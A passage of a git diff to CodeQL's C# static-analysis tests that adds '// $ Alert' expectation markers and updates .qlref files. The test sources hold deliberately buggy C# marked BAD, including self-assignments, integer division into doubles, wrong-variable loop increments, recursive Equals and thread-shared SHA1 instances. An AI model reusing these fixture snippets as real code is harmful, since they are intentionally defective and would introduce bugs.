\ No newline at end of file +query: Likely Bugs/EqualsUsesIs.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/IncomparableEquals/IncomparableEquals.cs b/csharp/ql/test/query-tests/Likely Bugs/IncomparableEquals/IncomparableEquals.cs index cb9c97e8aa93..bdf92b4546a9 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/IncomparableEquals/IncomparableEquals.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/IncomparableEquals/IncomparableEquals.cs @@ -3,7 +3,7 @@ public class Test public bool M() { var x = new Test2(); - return this.Equals(x); // BAD + return this.Equals(x); // BAD // $ Alert } } diff --git a/csharp/ql/test/query-tests/Likely Bugs/IncomparableEquals/IncomparableEquals.qlref b/csharp/ql/test/query-tests/Likely Bugs/IncomparableEquals/IncomparableEquals.qlref index 96eae4e2eac5..91b47c6ddd94 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/IncomparableEquals/IncomparableEquals.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/IncomparableEquals/IncomparableEquals.qlref @@ -1 +1,2 @@ -Likely Bugs/IncomparableEquals.ql \ No newline at end of file +query: Likely Bugs/IncomparableEquals.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/InconsistentCompareTo/InconsistentCompareTo.cs b/csharp/ql/test/query-tests/Likely Bugs/InconsistentCompareTo/InconsistentCompareTo.cs index b405dc09e1f2..78a9749afebb 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/InconsistentCompareTo/InconsistentCompareTo.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/InconsistentCompareTo/InconsistentCompareTo.cs @@ -31,25 +31,25 @@ abstract class GoodComparableAbstract : IComparable public abstract int CompareTo(object other); } -class BadComparable : IComparable +class BadComparable : IComparable // $ Alert { public int CompareTo(object other) { return 0; } public override int GetHashCode() { return 0; } } -class BadComparableInt : IComparable +class BadComparableInt : IComparable // $ Alert { public int CompareTo(int x) { return 0; } public override int GetHashCode() { return 0; } } -class BadComparableT : IComparable +class BadComparableT : IComparable // $ Alert { public int CompareTo(T t) { return 0; } public override int GetHashCode() { return 0; } } -class BadComparableNewEquals : IComparable +class BadComparableNewEquals : IComparable // $ Alert { public int CompareTo(object other) { return 0; } public new bool Equals(object other) { return false; } diff --git a/csharp/ql/test/query-tests/Likely Bugs/InconsistentCompareTo/InconsistentCompareTo.qlref b/csharp/ql/test/query-tests/Likely Bugs/InconsistentCompareTo/InconsistentCompareTo.qlref index 5663237f6729..03552e829c86 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/InconsistentCompareTo/InconsistentCompareTo.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/InconsistentCompareTo/InconsistentCompareTo.qlref @@ -1 +1,2 @@ -Likely Bugs/InconsistentCompareTo.ql \ No newline at end of file +query: Likely Bugs/InconsistentCompareTo.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/MishandlingJapaneseEra/MishandlingJapaneseEra.qlref b/csharp/ql/test/query-tests/Likely Bugs/MishandlingJapaneseEra/MishandlingJapaneseEra.qlref index cf11ec925453..791b603a2e9f 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/MishandlingJapaneseEra/MishandlingJapaneseEra.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/MishandlingJapaneseEra/MishandlingJapaneseEra.qlref @@ -1 +1,2 @@ -Likely Bugs/MishandlingJapaneseEra.ql \ No newline at end of file +query: Likely Bugs/MishandlingJapaneseEra.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/MishandlingJapaneseEra/Program.cs b/csharp/ql/test/query-tests/Likely Bugs/MishandlingJapaneseEra/Program.cs index 561b093f2308..9412593929a1 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/MishandlingJapaneseEra/Program.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/MishandlingJapaneseEra/Program.cs @@ -9,28 +9,28 @@ class Program static void Main(string[] args) { // BAD: hard-coded era start date - var henseiStart = new DateTime(1989, 1, 8); + var henseiStart = new DateTime(1989, 1, 8); // $ Alert // BAD: hard-coded era start dates, list - List listOfEraStart = new List { new DateTime(1989, 1, 8) }; + List listOfEraStart = new List { new DateTime(1989, 1, 8) }; // $ Alert // BAD: hardcoded era name string currentEra = "Heisei"; DateTimeOffset dateNow = DateTimeOffset.Now; - DateTimeOffset dateThisEra = new DateTimeOffset(1989, 1, 8, 0, 0, 0, 0, TimeSpan.Zero); + DateTimeOffset dateThisEra = new DateTimeOffset(1989, 1, 8, 0, 0, 0, 0, TimeSpan.Zero); // $ Alert CultureInfo japaneseCulture = CultureInfo.GetCultureInfo("ja-JP"); JapaneseCalendar jk = new JapaneseCalendar(); // BAD: datetime is created from constant year in the current era, and the result will change with era change - var datejkCurrentEra = jk.ToDateTime(32, 2, 1, 9, 9, 9, 9); + var datejkCurrentEra = jk.ToDateTime(32, 2, 1, 9, 9, 9, 9); // $ Alert Console.WriteLine("Date for datejkCurrentEra {0} and year {1}", datejkCurrentEra.ToString(japaneseCulture), jk.GetYear (datejkCurrentEra)); // BAD: datetime is created from constant year in the current era, and the result will change with era change - var datejk = jk.ToDateTime(32, 2, 1, 9, 9, 9, 9, 0); + var datejk = jk.ToDateTime(32, 2, 1, 9, 9, 9, 9, 0); // $ Alert Console.WriteLine("Date for jk {0} and year {1}", datejk.ToString(japaneseCulture), jk.GetYear (datejk)); // OK: datetime is created from constant year in the specific era, and the result will not change with era change @@ -46,7 +46,7 @@ static void Main(string[] args) Console.WriteLine("Which converts to year {0}", realYear); // BAD: creating DateTime using specified Japanese era date. This may yield a different date when era changes - DateTime val = new DateTime(32, 2, 1, new JapaneseCalendar()); + DateTime val = new DateTime(32, 2, 1, new JapaneseCalendar()); // $ Alert Console.WriteLine("DateTime from constructor {0}", val); // OK: variable data for Year, not necessarily hard-coded and can come from adjusted source diff --git a/csharp/ql/test/query-tests/Likely Bugs/NestedLoopsSameVariable/NestedLoopsSameVariable.cs b/csharp/ql/test/query-tests/Likely Bugs/NestedLoopsSameVariable/NestedLoopsSameVariable.cs index cd01795f202b..8dc1062d15b7 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/NestedLoopsSameVariable/NestedLoopsSameVariable.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/NestedLoopsSameVariable/NestedLoopsSameVariable.cs @@ -6,7 +6,7 @@ static void Main(string[] args) { for (int i = 0; i < 2; i++) { - for (int j = 0; j < 2; i++) + for (int j = 0; j < 2; i++) // $ Alert { Console.WriteLine(i + " " + j); } diff --git a/csharp/ql/test/query-tests/Likely Bugs/NestedLoopsSameVariable/NestedLoopsSameVariable.qlref b/csharp/ql/test/query-tests/Likely Bugs/NestedLoopsSameVariable/NestedLoopsSameVariable.qlref index c28b56d296d0..1e4470543922 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/NestedLoopsSameVariable/NestedLoopsSameVariable.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/NestedLoopsSameVariable/NestedLoopsSameVariable.qlref @@ -1 +1,2 @@ -Likely Bugs/NestedLoopsSameVariable.ql \ No newline at end of file +query: Likely Bugs/NestedLoopsSameVariable.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/NestedLoopsSameVariable/Test.cs b/csharp/ql/test/query-tests/Likely Bugs/NestedLoopsSameVariable/Test.cs index 7b08cd2c9145..671ffccb1d07 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/NestedLoopsSameVariable/Test.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/NestedLoopsSameVariable/Test.cs @@ -19,7 +19,7 @@ void DifferentCondition1() for (int i=0; i<10; ++i) { // BAD: considered to be a different condition - for (; 10>i; ++i) + for (; 10>i; ++i) // $ Alert { Console.WriteLine(i); } @@ -31,7 +31,7 @@ void DifferentCondition2() for (int i=0; i<10; ++i) { // BAD: different condition - for (; i<9; ++i) + for (; i<9; ++i) // $ Alert { Console.WriteLine(i); } @@ -43,7 +43,7 @@ void DifferentConditions3() for (int i=0; i<10; ++i) { // BAD: different condition - for (; i<=10; ++i) + for (; i<=10; ++i) // $ Alert { Console.WriteLine(i); } @@ -54,7 +54,7 @@ void UseAfterInnerLoop() { for (int i=0; i<10; ++i) { - for (; i<10; ++i) + for (; i<10; ++i) // $ Alert { } diff --git a/csharp/ql/test/query-tests/Likely Bugs/ObjectComparison/ObjectComparison.cs b/csharp/ql/test/query-tests/Likely Bugs/ObjectComparison/ObjectComparison.cs index 2774b9229fb9..ec8284a7f91b 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/ObjectComparison/ObjectComparison.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/ObjectComparison/ObjectComparison.cs @@ -13,10 +13,10 @@ void M() ObjectComparisonTest y = new ObjectComparisonTest(); var b = x == y; // GOOD: but still reference equality - b = (object)x == y; // BAD - b = x == (object)y; // BAD - b = (I)x == y; // BAD - b = x == (I)y; // BAD + b = (object)x == y; // BAD // $ Alert + b = x == (object)y; // BAD // $ Alert + b = (I)x == y; // BAD // $ Alert + b = x == (I)y; // BAD // $ Alert b = (object)x == Field1; // GOOD b = Field1 == (object)x; // GOOD diff --git a/csharp/ql/test/query-tests/Likely Bugs/ObjectComparison/ObjectComparison.qlref b/csharp/ql/test/query-tests/Likely Bugs/ObjectComparison/ObjectComparison.qlref index 6f834d6d6548..e47228487204 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/ObjectComparison/ObjectComparison.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/ObjectComparison/ObjectComparison.qlref @@ -1 +1,2 @@ -Likely Bugs/ObjectComparison.ql \ No newline at end of file +query: Likely Bugs/ObjectComparison.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/PossibleLossOfPrecision/PossibleLossOfPrecision.cs b/csharp/ql/test/query-tests/Likely Bugs/PossibleLossOfPrecision/PossibleLossOfPrecision.cs index 9a5cdc7c4901..639e914e4799 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/PossibleLossOfPrecision/PossibleLossOfPrecision.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/PossibleLossOfPrecision/PossibleLossOfPrecision.cs @@ -11,18 +11,18 @@ static void main(string[] args) decimal dec; // These are BAD: - d = 1 / 2; - f = 1 / 2; - d = -1 / 2; - f = -2 / 3; - d = x / y; - f = x / y; - d = x / 2; - d = 4 / y; - d = 1.0 + 1 / 2; - d = 2.0 * (1 / 2); - d = 1 + 1 / 2 + 4 / 2; - d = 1 * (1 / 2); + d = 1 / 2; // $ Alert + f = 1 / 2; // $ Alert + d = -1 / 2; // $ Alert + f = -2 / 3; // $ Alert + d = x / y; // $ Alert + f = x / y; // $ Alert + d = x / 2; // $ Alert + d = 4 / y; // $ Alert + d = 1.0 + 1 / 2; // $ Alert + d = 2.0 * (1 / 2); // $ Alert + d = 1 + 1 / 2 + 4 / 2; // $ Alert + d = 1 * (1 / 2); // $ Alert // These are GOOD: d = 4 / 2; @@ -30,8 +30,8 @@ static void main(string[] args) i = 5 / 10; // These are BAD: - dec = 2 * i + 1; - dec = unchecked(int.MaxValue * int.MaxValue); + dec = 2 * i + 1; // $ Alert + dec = unchecked(int.MaxValue * int.MaxValue); // $ Alert // These are GOOD: dec = 2 * (uint)int.MaxValue - 1; diff --git a/csharp/ql/test/query-tests/Likely Bugs/PossibleLossOfPrecision/PossibleLossOfPrecision.qlref b/csharp/ql/test/query-tests/Likely Bugs/PossibleLossOfPrecision/PossibleLossOfPrecision.qlref index ecddf650e791..82a58e295a56 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/PossibleLossOfPrecision/PossibleLossOfPrecision.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/PossibleLossOfPrecision/PossibleLossOfPrecision.qlref @@ -1 +1,2 @@ -Likely Bugs/PossibleLossOfPrecision.ql \ No newline at end of file +query: Likely Bugs/PossibleLossOfPrecision.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/RandomUsedOnce/RandomUsedOnce.cs b/csharp/ql/test/query-tests/Likely Bugs/RandomUsedOnce/RandomUsedOnce.cs index fac7c9135af2..ce4a42b268f6 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/RandomUsedOnce/RandomUsedOnce.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/RandomUsedOnce/RandomUsedOnce.cs @@ -8,14 +8,14 @@ class RandomTest { void f() { - new Random().Next(); // BAD + new Random().Next(); // BAD // $ Alert byte[] buffer = new byte[10]; - new Random().NextBytes(buffer); // BAD + new Random().NextBytes(buffer); // BAD // $ Alert - new Random().NextDouble(); // BAD - new Random().Next(10); // BAD - new Random().Next(10, 20); // BAD + new Random().NextDouble(); // BAD // $ Alert + new Random().Next(10); // BAD // $ Alert + new Random().Next(10, 20); // BAD // $ Alert new Random().Equals(null); // GOOD } diff --git a/csharp/ql/test/query-tests/Likely Bugs/RandomUsedOnce/RandomUsedOnce.qlref b/csharp/ql/test/query-tests/Likely Bugs/RandomUsedOnce/RandomUsedOnce.qlref index bff453451145..f9bb6c3eeb50 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/RandomUsedOnce/RandomUsedOnce.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/RandomUsedOnce/RandomUsedOnce.qlref @@ -1 +1,2 @@ -Likely Bugs/RandomUsedOnce.ql \ No newline at end of file +query: Likely Bugs/RandomUsedOnce.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/RecursiveEquals/RecursiveEquals.cs b/csharp/ql/test/query-tests/Likely Bugs/RecursiveEquals/RecursiveEquals.cs index 3182dc8430c3..f97b22ed2241 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/RecursiveEquals/RecursiveEquals.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/RecursiveEquals/RecursiveEquals.cs @@ -6,7 +6,7 @@ class Bad public override bool Equals(object rhs) { if (rhs.GetType() != this.GetType()) return false; - return Equals(rhs); + return Equals(rhs); // $ Alert } public bool Equals(Bad rhs) diff --git a/csharp/ql/test/query-tests/Likely Bugs/RecursiveEquals/RecursiveEquals.qlref b/csharp/ql/test/query-tests/Likely Bugs/RecursiveEquals/RecursiveEquals.qlref index d78738e7f9d1..68a07bb347dd 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/RecursiveEquals/RecursiveEquals.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/RecursiveEquals/RecursiveEquals.qlref @@ -1 +1,2 @@ -Likely Bugs/RecursiveEquals.ql \ No newline at end of file +query: Likely Bugs/RecursiveEquals.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/SelfAssignment/SelfAssignment.qlref b/csharp/ql/test/query-tests/Likely Bugs/SelfAssignment/SelfAssignment.qlref index 28778bdd1c8b..82f6d5d9682b 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/SelfAssignment/SelfAssignment.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/SelfAssignment/SelfAssignment.qlref @@ -1 +1,2 @@ -Likely Bugs/SelfAssignment.ql +query: Likely Bugs/SelfAssignment.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/SelfAssignment/selfassigns.cs b/csharp/ql/test/query-tests/Likely Bugs/SelfAssignment/selfassigns.cs index 6d1387a5e1db..c65c39349b37 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/SelfAssignment/selfassigns.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/SelfAssignment/selfassigns.cs @@ -70,17 +70,17 @@ public void OK(SelfAssigns obj, int x) public void NotOK(SelfAssigns obj, int y) { - this[4] = this[4]; - y = y; - obj.y = obj.y; - z = this.z; - this.z = z; - obj.Normal1 = obj.Normal1; - obj.Normal2 = obj.Normal2; - base.IntField = IntField; - this.BoolProp = base.BoolProp; - this.Self.Self.Self.StringProp = Self.Self.Self.StringProp; - intArray[1] = this.intArray[1 + 0]; + this[4] = this[4]; // $ Alert + y = y; // $ Alert + obj.y = obj.y; // $ Alert + z = this.z; // $ Alert + this.z = z; // $ Alert + obj.Normal1 = obj.Normal1; // $ Alert + obj.Normal2 = obj.Normal2; // $ Alert + base.IntField = IntField; // $ Alert + this.BoolProp = base.BoolProp; // $ Alert + this.Self.Self.Self.StringProp = Self.Self.Self.StringProp; // $ Alert + intArray[1] = this.intArray[1 + 0]; // $ Alert } enum Enum diff --git a/csharp/ql/test/query-tests/Likely Bugs/StaticFieldWrittenByInstance/StaticFieldWrittenByInstance.cs b/csharp/ql/test/query-tests/Likely Bugs/StaticFieldWrittenByInstance/StaticFieldWrittenByInstance.cs index 244a6b2fd156..2c2d20b2bb2d 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/StaticFieldWrittenByInstance/StaticFieldWrittenByInstance.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/StaticFieldWrittenByInstance/StaticFieldWrittenByInstance.cs @@ -12,7 +12,7 @@ static StaticFields() StaticFields() { - staticField = 0; // BAD + staticField = 0; // BAD // $ Alert instanceField = 0; // OK } @@ -23,7 +23,7 @@ static void StaticTest() void InstanceTest() { - staticField = 0; // BAD + staticField = 0; // BAD // $ Alert instanceField = 0; // OK } @@ -40,7 +40,7 @@ object Prop { get { - return backingField ?? (backingField = new object()); // BAD + return backingField ?? (backingField = new object()); // BAD // $ Alert } } } diff --git a/csharp/ql/test/query-tests/Likely Bugs/StaticFieldWrittenByInstance/StaticFieldWrittenByInstance.qlref b/csharp/ql/test/query-tests/Likely Bugs/StaticFieldWrittenByInstance/StaticFieldWrittenByInstance.qlref index 6c3a7cc48249..62a3ba9ac281 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/StaticFieldWrittenByInstance/StaticFieldWrittenByInstance.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/StaticFieldWrittenByInstance/StaticFieldWrittenByInstance.qlref @@ -1 +1,2 @@ -Likely Bugs/StaticFieldWrittenByInstance.ql +query: Likely Bugs/StaticFieldWrittenByInstance.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/StringBuilderCharInit/StringBufferCharInit.qlref b/csharp/ql/test/query-tests/Likely Bugs/StringBuilderCharInit/StringBufferCharInit.qlref index 8d6feb01896b..10a4fb9ee8e3 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/StringBuilderCharInit/StringBufferCharInit.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/StringBuilderCharInit/StringBufferCharInit.qlref @@ -1 +1,2 @@ -Likely Bugs/StringBuilderCharInit.ql \ No newline at end of file +query: Likely Bugs/StringBuilderCharInit.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/StringBuilderCharInit/StringBuilderCharInit.cs b/csharp/ql/test/query-tests/Likely Bugs/StringBuilderCharInit/StringBuilderCharInit.cs index 256199df1776..8a423244af48 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/StringBuilderCharInit/StringBuilderCharInit.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/StringBuilderCharInit/StringBuilderCharInit.cs @@ -6,14 +6,14 @@ static void Main() { new StringBuilder(); new StringBuilder(12); - new StringBuilder('a'); // BAD + new StringBuilder('a'); // BAD // $ Alert new StringBuilder(3, 4); - new StringBuilder(3, 'a'); // BAD - new StringBuilder('a', 'b'); // BAD + new StringBuilder(3, 'a'); // BAD // $ Alert + new StringBuilder('a', 'b'); // BAD // $ Alert new StringBuilder(""); new StringBuilder("", 12); - new StringBuilder("", 'a'); // BAD + new StringBuilder("", 'a'); // BAD // $ Alert new StringBuilder("abc", 1, 1, 12); - new StringBuilder("abc", 1, 1, 'a'); // BAD + new StringBuilder("abc", 1, 1, 'a'); // BAD // $ Alert } } diff --git a/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransform/ThreadUnsafeICryptoTransform.cs b/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransform/ThreadUnsafeICryptoTransform.cs index e886518dcdf1..9cf42b90263b 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransform/ThreadUnsafeICryptoTransform.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransform/ThreadUnsafeICryptoTransform.cs @@ -37,12 +37,12 @@ public ListNonStatic() /// public class Nest03 { - private static readonly Nest01 _n = new Nest01(); + private static readonly Nest01 _n = new Nest01(); // $ Alert } public class Nest04 { - static ListNonStatic _list = new ListNonStatic(); + static ListNonStatic _list = new ListNonStatic(); // $ Alert } public static class StaticMemberChildUsage @@ -53,7 +53,7 @@ public enum DigestAlgorithm SHA256, } - private static readonly IDictionary HashMap = new Dictionary + private static readonly IDictionary HashMap = new Dictionary // $ Alert { { DigestAlgorithm.SHA1, SHA1.Create() }, { DigestAlgorithm.SHA256, SHA256.Create() }, @@ -62,12 +62,12 @@ public enum DigestAlgorithm public class StaticMember { - private static SHA1 _sha1 = SHA1.Create(); + private static SHA1 _sha1 = SHA1.Create(); // $ Alert } public class IndirectStatic2 { - static Nest02 _n = new Nest02(); + static Nest02 _n = new Nest02(); // $ Alert } /// diff --git a/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransform/ThreadUnsafeICryptoTransform.qlref b/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransform/ThreadUnsafeICryptoTransform.qlref index e247961a538d..7a9c70237578 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransform/ThreadUnsafeICryptoTransform.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransform/ThreadUnsafeICryptoTransform.qlref @@ -1 +1,2 @@ -Likely Bugs/ThreadUnsafeICryptoTransform.ql \ No newline at end of file +query: Likely Bugs/ThreadUnsafeICryptoTransform.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransformLambda/ThreadUnsafeICryptoTransformLambda.cs b/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransformLambda/ThreadUnsafeICryptoTransformLambda.cs index f62c25025fc2..83018409f5cf 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransformLambda/ThreadUnsafeICryptoTransformLambda.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransformLambda/ThreadUnsafeICryptoTransformLambda.cs @@ -23,7 +23,7 @@ public static void Run(int max) // BUG expected var threads = Enumerable.Range(0, threadCount) - .Select(_ => new ThreadStart(start)) + .Select(_ => new ThreadStart(start)) // $ Alert .Select(x => new Thread(x)) .ToList(); foreach (var t in threads) t.Start(); @@ -85,7 +85,7 @@ public static void Run(int max) } }; var threads = Enumerable.Range(0, threadCount) - .Select(_ => new ThreadStart(start)) + .Select(_ => new ThreadStart(start)) // $ Alert .Select(x => new Thread(x)) .ToList(); foreach (var t in threads) t.Start(); @@ -143,12 +143,12 @@ public static void Run() { var bytes = new byte[4]; Convert.ToBase64String(sha1.ComputeHash(bytes)); - }, + }, // $ Alert () => { var bytes = new byte[4]; Convert.ToBase64String(sha1.ComputeHash(bytes)); - } + } // $ Alert ); } diff --git a/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransformLambda/ThreadUnsafeICryptoTransformLambda.qlref b/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransformLambda/ThreadUnsafeICryptoTransformLambda.qlref index 0a869270c9ba..f206d84cd77e 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransformLambda/ThreadUnsafeICryptoTransformLambda.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/ThreadUnsafeICryptoTransformLambda/ThreadUnsafeICryptoTransformLambda.qlref @@ -1 +1,2 @@ -Likely Bugs/ThreadUnsafeICryptoTransformLambda.ql \ No newline at end of file +query: Likely Bugs/ThreadUnsafeICryptoTransformLambda.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/UncheckedCastInEquals/UncheckedCastInEquals.cs b/csharp/ql/test/query-tests/Likely Bugs/UncheckedCastInEquals/UncheckedCastInEquals.cs index 31e2336d0ca3..346dcc94c070 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/UncheckedCastInEquals/UncheckedCastInEquals.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/UncheckedCastInEquals/UncheckedCastInEquals.cs @@ -4,6 +4,6 @@ public class Test public override bool Equals(object other) { - return ((Test)other).Field == this.Field; + return ((Test)other).Field == this.Field; // $ Alert } } diff --git a/csharp/ql/test/query-tests/Likely Bugs/UncheckedCastInEquals/UncheckedCastInEquals.qlref b/csharp/ql/test/query-tests/Likely Bugs/UncheckedCastInEquals/UncheckedCastInEquals.qlref index 4fc0cc8938f5..fa38710c7511 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/UncheckedCastInEquals/UncheckedCastInEquals.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/UncheckedCastInEquals/UncheckedCastInEquals.qlref @@ -1 +1,2 @@ -Likely Bugs/UncheckedCastInEquals.ql \ No newline at end of file +query: Likely Bugs/UncheckedCastInEquals.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/UnsafeYearConstruction/Program.cs b/csharp/ql/test/query-tests/Likely Bugs/UnsafeYearConstruction/Program.cs index b7b6b4d4e3a6..83c18ca52763 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/UnsafeYearConstruction/Program.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/UnsafeYearConstruction/Program.cs @@ -10,11 +10,11 @@ public PipelineProperties() { var now = DateTime.UtcNow; // BAD - this.Start = new DateTime(now.Year - 1, now.Month, now.Day, 0, 0, 0, DateTimeKind.Utc); + this.Start = new DateTime(now.Year - 1, now.Month, now.Day, 0, 0, 0, DateTimeKind.Utc); // $ Alert - var endYear = now.Year + 1; + var endYear = now.Year + 1; // $ Source // BAD - this.End = new DateTime(endYear, now.Month, now.Day, 0, 0, 1, DateTimeKind.Utc); + this.End = new DateTime(endYear, now.Month, now.Day, 0, 0, 1, DateTimeKind.Utc); // $ Alert // GOOD this.Start = now.AddYears(-1).Date; @@ -23,14 +23,14 @@ public PipelineProperties() private void Test(int year, int month, int day) { // BAD (arithmetic operation from StartTest) - this.Start = new DateTime(year, month, day); + this.Start = new DateTime(year, month, day); // $ Alert } public void StartTest() { var now = DateTime.UtcNow; // flows into Test (source for bug) - Test(now.Year - 1, now.Month, now.Day); + Test(now.Year - 1, now.Month, now.Day); // $ Source } public void StartTestFP() diff --git a/csharp/ql/test/query-tests/Likely Bugs/UnsafeYearConstruction/UnsafeYearConstruction.qlref b/csharp/ql/test/query-tests/Likely Bugs/UnsafeYearConstruction/UnsafeYearConstruction.qlref index 37fd40fb036c..8eebe63939d1 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/UnsafeYearConstruction/UnsafeYearConstruction.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/UnsafeYearConstruction/UnsafeYearConstruction.qlref @@ -1 +1,2 @@ -Likely Bugs/LeapYear/UnsafeYearConstruction.ql \ No newline at end of file +query: Likely Bugs/LeapYear/UnsafeYearConstruction.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Linq/MissedCastOpportunity/MissedCastOpportunity.cs b/csharp/ql/test/query-tests/Linq/MissedCastOpportunity/MissedCastOpportunity.cs index fe5617c228a1..5bd7f5dcec08 100644 --- a/csharp/ql/test/query-tests/Linq/MissedCastOpportunity/MissedCastOpportunity.cs +++ b/csharp/ql/test/query-tests/Linq/MissedCastOpportunity/MissedCastOpportunity.cs @@ -11,7 +11,7 @@ public void M1(List animals) { Dog d = (Dog)a; d.Woof(); - } + } // $ Alert } public void M2(NonEnumerableClass nec) @@ -31,7 +31,7 @@ public void M3(Animal[] animals) { Dog d = (Dog)animal; d.Woof(); - } + } // $ Alert } public void M4(Array animals) @@ -41,7 +41,7 @@ public void M4(Array animals) { Dog d = (Dog)animal; d.Woof(); - } + } // $ Alert } public void M5(IEnumerable animals) @@ -51,7 +51,7 @@ public void M5(IEnumerable animals) { Dog d = (Dog)animal; d.Woof(); - } + } // $ Alert } public class NonEnumerableClass diff --git a/csharp/ql/test/query-tests/Linq/MissedCastOpportunity/MissedCastOpportunity.qlref b/csharp/ql/test/query-tests/Linq/MissedCastOpportunity/MissedCastOpportunity.qlref index 8d70f9995033..3731b64605f5 100644 --- a/csharp/ql/test/query-tests/Linq/MissedCastOpportunity/MissedCastOpportunity.qlref +++ b/csharp/ql/test/query-tests/Linq/MissedCastOpportunity/MissedCastOpportunity.qlref @@ -1 +1,2 @@ -Linq/MissedCastOpportunity.ql +query: Linq/MissedCastOpportunity.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Linq/MissedWhereOpportunity/MissedWhereOpportunity.cs b/csharp/ql/test/query-tests/Linq/MissedWhereOpportunity/MissedWhereOpportunity.cs index d1326c70ee23..0fee1e9c48ff 100644 --- 